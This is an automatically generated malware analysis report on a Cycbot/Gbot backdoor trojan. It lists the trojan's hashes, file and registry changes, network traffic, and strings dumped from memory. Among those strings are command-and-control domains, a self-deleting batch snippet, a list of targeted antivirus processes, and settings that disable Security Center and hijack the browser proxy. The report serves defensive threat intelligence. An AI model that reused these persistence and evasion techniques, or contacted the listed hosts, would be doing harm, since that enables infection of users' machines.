Gen.Variant.Kazy.60420_897b139049

by malwarelabrobot on June 5th, 2017 in Malware Descriptions.

Gen:Variant.Kazy.60420 (BitDefender), Backdoor:Win32/Cycbot.B (Microsoft), HEUR:Trojan.Win32.Generic (Kaspersky), Backdoor.Win32.Gbot.qxn (v) (VIPRE), BackDoor.Gbot.2028 (DrWeb), Gen:Variant.Kazy.60420 (B) (Emsisoft), BackDoor-EXI.gen.aj (McAfee), Backdoor.Cycbot!gen10 (Symantec), Virus.Win32.Cryptor (Ikarus), Gen:Variant.Kazy.60420 (FSecure), Win32/Cryptor (AVG), Win32:MalOb-IK [Cryp] (Avast), BKDR_CYCBOT.SMTE (TrendMicro), Gen:Variant.Kazy.60420 (AdAware), Backdoor.Win32.Cycbot.FD, Trojan.Win32.Swrort.3.FD, BackdoorCycbot.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor, Virus


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 897b139049d147238e40859bbba13d5b
SHA1: 37cf03bed7f3397e0e535b71ac2943ef71ad14d4
SHA256: 659842cdf36bdc8a575486dda404cfc8fe622619eea48d844dea50c738c9e692
SSDeep: 6144:MPRrLDiFDhXWwc7Q Jsra1eBrMyrBSCxCWYg3AR:ERrCLXtubJsu1yHrkC0C3A
Size: 281600 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2005-10-11 21:17:24
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

5502.tmp:888
%original file name%.exe:3984
%original file name%.exe:2528

The Trojan injects its code into the following process(es):

%original file name%.exe:1692

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1692 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\prefs.js (9 bytes)
C:\Windows\System32\config\SOFTWARE (44294 bytes)
C:\ (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\AAD36\6C10.AD3 (3950 bytes)
%Program Files%\LP\C71A\056.exe (268818 bytes)
C:\Windows (288 bytes)
C:\$Directory (864 bytes)
C:\Windows\System32\config\SOFTWARE.LOG1 (34967 bytes)
%Program Files%\LP\C71A\5502.tmp (12690 bytes)

Registry activity

The process 5502.tmp:888 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\WinRAR]
"HWID" = "7B 43 42 45 41 30 42 32 44 2D 39 39 44 30 2D 34"

The process %original file name%.exe:1692 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\897b139049d147238e40859bbba13d5b_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\897b139049d147238e40859bbba13d5b_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\897b139049d147238e40859bbba13d5b_RASAPI32]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 0C 00 00 00 03 00 00 00 14 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\897b139049d147238e40859bbba13d5b_RASMANCS]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:60162"

[HKLM\SOFTWARE\Microsoft\Tracing\897b139049d147238e40859bbba13d5b_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"HideSCAHealth" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3C 00 00 00 03 00 00 00 14 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\897b139049d147238e40859bbba13d5b_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\897b139049d147238e40859bbba13d5b_RASMANCS]
"EnableConsoleTracing" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"056.exe" = "%Program Files%\LP\C71A\056.exe"

Automatic startup of the following service is disabled:

[HKLM\System\CurrentControlSet\Services\wscsvc]
"Start" = "3"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyOverride"

Dropped PE files

MD5 File path
cf0279e2ad6a9e3cd7ed73eef3dca989 c:\Program Files\LP\C71A\5502.tmp

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 123429 123904 5.42091 7d31d4b176a8572f3f33282c618c820f
.rdata 131072 139980 1024 2.92879 18c7082e46ea01523a71f909ac9109d9
.data 274432 154692 155136 5.50832 34fcabb5f0c164be5ad01370c4e75adb
.rsrc 430080 4096 512 0.615814 970a8a68bbf9adb10ea4502216db3f41

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://-r7eh7.opalimanos.com/logo.png?sv=74&tq=gKZEtzoYwLzEvUb5dQzRsrCqD/crTca3l74EgC9OjrPGpgfib1XFp5zpRPksUt+A/gSoSEU= 208.100.26.251
hxxp://e8218.dscb1.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.dscb1.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://a1363.dscg.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= 23.46.123.27
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl 62.140.236.171
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= 23.46.123.27
clients1.google.com 172.217.18.78
binghamtonschools.org
csc3-2009-crl.verisign.com
crl.verisign.com
dns.msftncsi.com
kn7ge.enotusfed.com
www.download.windowsupdate.com
csc3-2009-2-crl.verisign.com
vassg142.ocsp.omniroot.com
transersdataforme.com
sc62.kupinosis.com


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /logo.png?sv=74&tq=gKZEtzoYwLzEvUb5dQzRsrCqD/crTca3l74EgC9OjrPGpgfib1XFp5zpRPksUt+A/gSoSEU= HTTP/1.0
Connection: close
Host: -r7eh7.opalimanos.com
Accept: */*
User-Agent: chrome/9.0


HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Sun, 04 Jun 2017 11:48:38 GMT
Content-Type: text/html
Content-Length: 177
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.4.
6 (Ubuntu)</center>..</body>..</html>....



GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1
Connection: close
Accept: */*
If-Modified-Since: Tue, 11 Oct 2016 11:05:46 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.10.2
Content-Type: application/ocsp-response
Content-Length: 1664
content-transfer-encoding: binary
Cache-Control: max-age=455736, public, no-transform, must-revalidate
Last-Modified: Fri, 2 Jun 2017 18:19:52 GMT
Expires: Fri, 9 Jun 2017 18:19:52 GMT
Date: Sun, 04 Jun 2017 11:48:39 GMT
Connection: close
0..|......u0..q.. .....0.....b0..^0.............V.m......E!....2017060
2181952Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20170602181952Z....20170609181952Z0...*.H........
.......oD.M.R....t88.!..4..C.h..6........<%...mAd.&....DE.W.)`...p.
..u..~.{.A..'..>u.^.j.LZ.J-..N.....:.\.....B..P5....e..Z......x....
.'`R!Ab..(..3.pE...N...:g3.'....F..S......`...P.u...'.I....x_..v....e.
%.9a,lG..h.0...x.$....3...EEx......XRtC.>r.. 11....iA..&.....0...0.
..0..................[Df..{.,0...*.H........0..1.0...U....US1.0...U...
.VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of us
e at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Cod
e Signing 2009-2 CA0...161213000000Z..211231235959Z0F1D0B..U...;Symant
ec Class 3 Code Signing 2009-2 CA SHA1 OCSP Responder0.."0...*.H......
.......0.............2q..J..:...3....X.?.....9K.G....,......e.c,..9YI.
..z.qA 0....9...CG......6.qX>.Xo.....g..=..B.E.......qB..W.|..>.
qT.4Z|....H. m...m..qy]Gi...0N.T.....N,.U.WJ5.f...r..@..8.b.......=..G
.0.....y4N"mK.J...."..".......ju.....k...x........P.]S=t....*..'......
.......0...0...U.......0.0f..U. ._0]0[..`.H...E....0L0#.. .........htt
ps://d.symcb.com/cps0%.. .......0...hXXps://d.symcb.com/rpa0...U.%..0.
.. .......0...U...........0... .....0......0"..U....0...0.1.0...U....T
GV-OFF-640...U.............V.m......E!..0...U.#..0.....k.&p..?...-.5..
...0...*.H.............C.....S>F ..u.=KA5..@...`........a0s.M......
JH.X.Y..E........CX../......f5j..a......k...:.r/.J5..G...h...~.".A
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1
Connection: close
Accept: */*
If-Modified-Since: Mon, 18 Nov 2013 13:12:21 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.10.2
Content-Type: application/ocsp-response
Content-Length: 1454
content-transfer-encoding: binary
Cache-Control: max-age=338575, public, no-transform, must-revalidate
Last-Modified: Thu, 1 Jun 2017 09:51:33 GMT
Expires: Thu, 8 Jun 2017 09:51:33 GMT
Date: Sun, 04 Jun 2017 11:48:39 GMT
Connection: close
0..........0..... .....0......0...0........FC..&..<.0...Y......2017
0601095133Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._).
.a..eR&.....Y.)..".\....20170601095133Z....20170608095133Z0...*.H.....
.........pcNf]..8`../gP...g..rR~.G..8r.'.._0.K.y....8gW...=S...^.Lb...
I..=..3.5D.....af...........Gc....Fo.g......'^....Jp..LO....BQ.]......
.Xi...U..,..`<. ....k.S........VQ6'.H...@D.S.i."X....A........x?U.v
.Q..D.u....J.pQ.j.^.L|....E.h..w.....&.._>BX.......}Q..P.....0...0.
..0..4.......My_e.\....'....j0...*.H........0_1.0...U....US1.0...U....
VeriSign, Inc.1705..U....Class 3 Public Primary Certification Authorit
y0...161122000000Z..171214235959Z0..1.0...U....US1.0...U....Symantec C
orporation1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3
 PCA - G1 OCSP Responder Certificate 50.."0...*.H.............0.......
......4..IP.....B..h.....]..).]w.!"..a..{...="....._...~.s1.E.......;.
..6&/...\2..A....\..T aH:.8lH^.....l.v.$...K=sZf.*.|.%.Pb.......B..*f.
T\w.:.s.... ....9..4..cV...3.qc.c..j<.f.....>1X.I...P%?.........
5R-....Ca14..X.U....u.....:.z.\.k..b.E.v..,.J................0..0...U.
...0.0l..U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/
cps0(.. .......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...
U........0... .....0......0"..U....0...0.1.0...U....TGV-OFF-470...*.H.
............G..\..R.P..e]...N.....m.....4f......b4"8v..b.R....`.Auz...
.......2=...@..........5..cWh....J......r...g.h......Kw'...j.@...x....
.
<<< skipped >>>


GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1
Connection: close
Accept: */*
If-Modified-Since: Wed, 09 Oct 2013 05:02:17 GMT
If-None-Match: "9c3f3dbaacc4ce1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Length: 813
Content-Type: application/pkix-crl
Last-Modified: Tue, 02 May 2017 22:24:24 GMT
ETag: 0x8D491A9FD112A27
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: a86339c3-0001-008d-7e3b-c40bd6000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Sun, 04 Jun 2017 11:48:40 GMT
Connection: close
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..170421204855Z..
170721090855Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......30... .....7......170720205855
Z0...*.H................[....< ".K..%..L.8g.`Y.c.r.4....#r.\5.[zW..
#<.......c...S.......l4...g..O....,.......{..V.<....)p...}_...k.
.&....H..K66L..4..vt..*..p..:.*..DG...)(ne.V..3_p...`gI..<..60cj.J.
s.f..q.I...&.~p'.E..r.....K.z.._.<...jn...#.c.......6~.....Y.I.:..l
.........v..9...w......pD4W...Sa.5C...........Y......Z*Vjz,5..g....Qj.
._...&$t .u.1..q.......;c....9Y\...j..P..Z...`.......Z.Y..=.f=.\-6.aR3
.4-)o*...VZ.UK...... ..?Z......7.C.i..p.W..Gq...s...AW9...`....d.....4
..z..$......X.. ;B.(..R....J7-.............,....m.v....l]...

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_1692:

`.rsrc
].mW$
u.Vh|
SSShkU@
SSSh 
SSj%S
<%u,V
<3%u1f
GetProcessWindowStation
operator
deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
\sc.exe
ntdll.dll
iexplore.exe
opera.exe
firefox.exe
safari.exe
chrome.exe
AVGIDSMonitor.exe
AVGIDSAgent.exe
avgchsvx.exe
avgemcx.exe
avgnsx.exe
avgrsx.exe
avgtray.exe
avgwdsvc.exe
avgnt.exe
ccsvchst.exe
AvastUI.exe
mcagent.exe
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
explorer.exe
Windows Security Center
%s\shell32.dll,Control_RunDLL "%s\wscui.cpl",Security Center
rundll32.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Windows Defender
at %d:%d "%s" %s
win32iexplore.exe
win32opera.exe
win32firefox.exe
win32safari.exe
win32winword.exe
win32excel.exe
win32outlook.exe
win32photoshop.exe
win32wmplayer.exe
win32java.exe
win32itunes.exe
win32msmsgs.exe
java.exe
*.log
%s:\windows\system32\%s.tmp
%s:\windows\syswow64\%s.tmp
%s:\WINNT\system32\%s.tmp
%s:\WINNT\syswow64\%s.tmp
Find Temporary files is %d
cannot open files %s, Open next files ?
{A1D429DE-B782-4253-84AD-6E09A8438AD5}
\Windows NT
Software\Microsoft\Windows\CurrentVersion\Run
%s\%s
%s.%s
stor.cfg
exec%s
{35BCA615-C82A-4152-8857-BCC626AE4C8D}
{4D92BB9F-9A66-458f-ACA4-66172A7016D4}
lvvm.exe
{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}
{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}
{6B985724-623F-492e-B0D6-C9715ADE853B}
{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}
Advapi32.dll
%s%s_1
%s_0_%d_%s
%s_%d
%s_%d_%d_%d_%d
%s_%s
hXXp://xprstats.com/k1.php
type=%s&system=na&id=%s&status=%s
t=st&q=%s
%s?tq=%s
TMFLDMN%d
id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=120
%s_%s_%d
_1_%d
_2_%d
_3_%d
_4_%d
opalimanos.com
dudlik-munik.com
kupinosis.com
enotusfed.com
zipper-sys.com
gummisbooki.com
onlinepdahelpforyou.com
remarkreddomas.com
transfersakkonline.com
backupdomaintolevel.com
SELECT_RESERV_SRV_%d
hXXp://%s.%s
%s_%d_%s
id=%s&c=%d
%s_%d_%d_%d
%s_%d_%d
%s %s
%s start%s%c%s
c1.exe
c2.exe
c3.exe
DWN_CON_STRP_%d_%s
hXXp://
hXXp://%d.ctrl.%s
logo.png
img/135.png
img/136.png
t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d
t=%s&q=&s=%d&hrs=%d
%s/%s?sv=%d&tq=%s
%s:%d/%s?sv=%d&tq=%s
hXXp://binghamtonschools.org/images/ace/1/ace_1101278014_1314729789.jpg
hXXp://binghamtonschools.org/images/297893.jpg
hXXp://binghamtonschools.org/images/297894.jpg
hXXp://alleducationalsoftware.com/creditcardlogos.gif
hXXp://alleducationalsoftware.com/creditcard.png
hXXp://alleducationalsoftware.com/creditcard2.png
hXXp://patentgenius.com/temp/head.png
hXXp://patentgenius.com/132.gif
hXXp://patentgenius.com/133.gif
hXXp://freedownload3.com/screenshot/4/s/89_3276.gif
hXXp://freedownload3.com/screenshot/4/s/89_3277.gif
hXXp://freedownload3.com/screenshot/4/s/89_3278.gif
hXXp://istockanalyst.com/png/intel.gif
hXXp://istockanalyst.com/png/intel.jpg
hXXp://istockanalyst.com/12.jpg
hXXp://complaintsboard.com/complaints/logo.png
hXXp://complaintsboard.com/complaints/zip.png
hXXp://complaintsboard.com/complaints/rar.png
hXXp://highspeedinternetlosangeles.webnode.com/news/1.cgi
hXXp://highspeedinternetlosangeles.webnode.com/news/1.php
hXXp://highspeedinternetlosangeles.webnode.com/news/2.php
hXXp://newworldorderreport.com/favicon.ico
hXXp://newworldorderreport.com/img/3421.png
hXXp://newworldorderreport.com/img/3422.png
hXXp://jointhenewworldorder.com/images/pages.jpg
hXXp://jointhenewworldorder.com/images/pages.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame6.png
hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame7.png
hXXp://cdn.adventofdeception.com/logo.png
t=t&hrs=%d&q=id=1000&ver=%s&s=%d
t=ip&hrs=%d&q=&s=1
%s?sv=%d&tq=%s
\bl%d_64.bat
del "%s"
if exist "%s" goto a
cmd.exe /c "%s"
%s.zl
GET %s HTTP/1.1
Host: %s
User-Agent: chrome/9.0
POST %s HTTP/1.1
Content-Length: %u
HTTP/1.0 200 OK
HTTP/1.1 200 OK
{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d
{C66E79CE-8935-4ed9-A6B1-4983619CB925}
{61B98B86-5F44-42b3-BCA1-33904B067B81}
{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}
{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
ahst.lni
milktoyoustudios.com
hXXp://%s/s.php?c=121&id=%s
bigbulkhypnocrys.com
hXXp://xprstats.com/images/logo.png
drweb
id=%s&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&fw=%s&port=%d
t=ml&q=%s
xprstats.com
hXXp://%s%s
%s_1_%d_%s
%s_2_%d_%s
%s_3_%d_%s
%s_4_%d_%s
pmv=2&id=%s&hwid=%s
u.exe
%s up%s
&%s=%s
PRM_LSTN_THIS_PORT
Opera
127.0.0.1
HTTP/1.x
google.com
hXXp://VVV.google.com
HTTP/1.1 302 Found
Location: %s
id=%s&type=%d&ppcid=%s
%s: %s
%s_5_%s
http=127.0.0.1:
prefs.js
Mozilla
"network.proxy.http"
"network.proxy.http_port"
"network.proxy.type"
"127.0.0.1"
%s(%s, %s);
operaprefs.ini
Use HTTP
HTTP server
127.0.0.1:%s
%s=%s
%s:%s
hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s
id=%s&hwid=%s
exec|%s
http=
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
bing.com
yahoo.com
search.aol.
suche.aol.
searcht2.aol.
.yimg.com
.bing.net
scorecardresearch.com
brightcove.com
.aol.
.atwola.
.ivwbox.
.google
.atdmt.
.abmr.
.tacoda.
.adtechus.
.autodatadirect.
.mapquestapi.
.ggpht.
.virtualearth.
.opera.
.microsoft.
.wsod.
.doubleclick.
.ypcdn.
.truveo.
.tlowdb.
mapq.st
.dartsearch.
.thawte.
http://
bing.com/search
bing.com:80/search
search.yahoo.com/search
%s_1_%s
err%d%s_%d_%d
err0%s_%d_%d
ver=120&system=%d&id=%s&hwid=%s&search=%s&referer=%s&useragent=%s&lang=%s&type=%d
%s:443/%s
%s_2_%s
%s_%s_%s
%s_3_%s
VVV.VVV.ru
hXXps://
.doubleclick.net
doubleclick.net
msn.com
%s_0%d_%d
=='undefined'?'%s':'%s'
.referrer
HTTP/1.0
%s %s %s
hXXp://VVV.google.com/
hXXp://VVV.yahoo.com/
.class
.midi
google_ad.url
google_ad.title
r.msn.com
google_ad.line1
zcÁ
c:\%original file name%.exe
6C10.AD3
%Program Files%\36C10
C:\Users\"%CurrentUserName%"\AppData\Roaming\AAD36
%Program Files%\LP\C71A
.text
`.rdata
@.data
.rsrc
-r4Y}
&;.Mm
Z.nUU`(
@L!
/,.EfhKo;
KERNEL32.dll
GetCPInfo
oleacc.dll
%veWeb
!ËS
GetProcessHeap
RegCreateKeyExA
RegCloseKey
RegOpenKeyExA
RegFlushKey
ShellExecuteA
SHDeleteKeyA
keybd_event
EnumChildWindows
EnumWindows
WinHttpOpen
WinHttpQueryDataAvailable
WinHttpCloseHandle
WinHttpConnect
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
WinHttpOpenRequest
)3<Key
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ADVAPI32.dll
ole32.dll
OLEAUT32.dll
PSAPI.DLL
RASAPI32.dll
RPCRT4.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WINHTTP.dll
WININET.dll
WS2_32.dll
-k}>I
.ilQ36
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
mscoree.dll
WUSER32.DLL
\Registry\Machine\System\CurrentControlSet\Services\%s
Dr.Web
mhttp=127.0.0.1:%d
hXXp://VVV.yahoo.com
2.0.2.1

%original file name%.exe_1692_rwx_00301000_0001C000:

7238e40859bbba13d5b.exe
:2016101320161014:
http=127.0.0.1:60162
C:\Windows\system32\iedkcs32.dll
.CSVC
UT32.DLL
C:\Windows\system32\ADVAPI32.dll
C:\Windows\system32\PSAPI.DLL
C:\Windows\system32\RASAPI32.dll
C:\Windows\system32\WS2_32.dll
C:\Windows\system32\rasman.dll
C:\Windows\system32\NSI.dll
C:\Windows\system32\SHELL32.dll
C:\Windows\SYSTEM32\sechost.dll
C:\Windows\system32\apphelp.dll
0\Device\HarddiskVolume1\%original file name%.exe
OS=Windows_NT
Path=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;c:\Program Files\Wireshark
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;
C:\Windows\system32\CRYPTBASE.dll
MSAFD NetBIOS [\Device\NetBT_Tcpip6_{03967CDD-F8BD-4AC9-8369-0D2BD8F246F5}] SEQPACKET 1
%SystemRoot%\system32\mswsock.dll
MSAFD NetBIOS [\Device\NetBT_Tcpip6_{03967CDD-F8BD-4AC9-8369-0D2BD8F246F5}] DATAGRAM 1
MSAFD NetBIOS [\Device\NetBT_Tcpip6_{FB1DE278-988C-428A-AF16-245107A1AA49}] SEQPACKET 3
e8218.dscb1.akamaiedge.net
ocsp-ds.ws.symantec.com.edgekey.net
ocsp.verisign.com
loudflare.net
crl.comodoca.com.cdn.cloudflare.net
crl.comodoca.com
Tcpip6
1indows\system32\SSPICLI.DLL
\AAD36\6C10.AD3
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies
Path=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\Wind
@%SystemRoot%\System32\wshtcpip.dll,-60102
%SystemRoot%\system32\pnrpnsp.dll
192.168.11.134
0C:\Windows\Registration\R000000000003.clb
C:\Windows\Registration\R000000000003.clb
C:\Windows\System32\fwpuclnt.dll
C:\Windows\System32\wshtcpip.dll
C:\Windows\system32\RpcRtRemote.dll
csp-ds.ws.symantec.com.edgekey.net
C:\Windows\system32\IPHLPAPI.DLL
C:\Windows\system32\rasadhlp.dll
rl.comodoca.com.cdn.cloudflare.net
:\Program Files\LP\C71A\5502.tmp
MSAFD NetBIOS [\Device\NetBT_Tcpip_{03967CDD-F8BD-4AC9-8369-0D2BD8F246F5}] SEQPACKET 0
MSAFD NetBIOS [\Device\NetBT_Tcpip_{03967CDD-F8BD-4AC9-8369-0D2BD8F246F5}] DATAGRAM 0
MSAFD NetBIOS [\Device\NetBT_Tcpip6_{BDC8D276-A5D8-4E4C-8EB2-2752A8E55337}] SEQPACKET 2
MSAFD NetBIOS [\Device\NetBT_Tcpip6_{BDC8D276-A5D8-4E4C-8EB2-2752A8E55337}] DATAGRAM 2
@%SystemRoot%\System32\wshqos.dll,-101
@%SystemRoot%\System32\wshqos.dll,-102
@%SystemRoot%\System32\wshqos.dll,-103
@%SystemRoot%\System32\wship6.dll,-60100
@%SystemRoot%\System32\wship6.dll,-60101
c:\;.;C:\Windows\system32;C:\Windows\system;C:\Windows;C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;c:\Program Files\Wireshark
897b139049d1472.exe
csp.verisign.com
pla1.wac.v2cdn.net
s9.wpc.v0cdn.net
fastprox.dll
NTDSAPI.dll
wbemsvc.dll
wbemprox.dll
wbemcomn.dll
%SystemRoot%\System32\mswsock.dll
-21-732923889-12
1-1208581
cRtRem
ComSpec=C:\Windows\system32\cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
SystemRoot=C:\Windows
windir=C:\Windows
windows_tracing_flags=3
windows_tracing_logfile=C:\BVTBin\Tests\installpackage\csilogfile.log
cdn.globalsigncdn.com
ocsp2.globalsign.com
@%SystemRoot%\System32\wshtcpip.dll,-60101
%SystemRoot%\system32\napinsp.dll
@%SystemRoot%\system32\pnrpnsp.dll,-1001
@%SystemRoot%\system32\wshtcpip.dll,-60103
@%SystemRoot%\system32\pnrpnsp.dll,-1000
@%SystemRoot%\system32\napinsp.dll,-1000
@%SystemRoot%\system32\shell32.dll,-21781

%original file name%.exe_1692_rwx_00320000_00001000:

@%SystemRoot%\System32\wshqos.dll,-100
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\System32\winrnr.dll

%original file name%.exe_1692_rwx_00400000_00067000:

`.rsrc
].mW$
u.Vh|
SSShkU@
SSSh 
SSj%S
<%u,V
<3%u1f
GetProcessWindowStation
operator
deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
\sc.exe
ntdll.dll
iexplore.exe
opera.exe
firefox.exe
safari.exe
chrome.exe
AVGIDSMonitor.exe
AVGIDSAgent.exe
avgchsvx.exe
avgemcx.exe
avgnsx.exe
avgrsx.exe
avgtray.exe
avgwdsvc.exe
avgnt.exe
ccsvchst.exe
AvastUI.exe
mcagent.exe
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
explorer.exe
Windows Security Center
%s\shell32.dll,Control_RunDLL "%s\wscui.cpl",Security Center
rundll32.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Windows Defender
at %d:%d "%s" %s
win32iexplore.exe
win32opera.exe
win32firefox.exe
win32safari.exe
win32winword.exe
win32excel.exe
win32outlook.exe
win32photoshop.exe
win32wmplayer.exe
win32java.exe
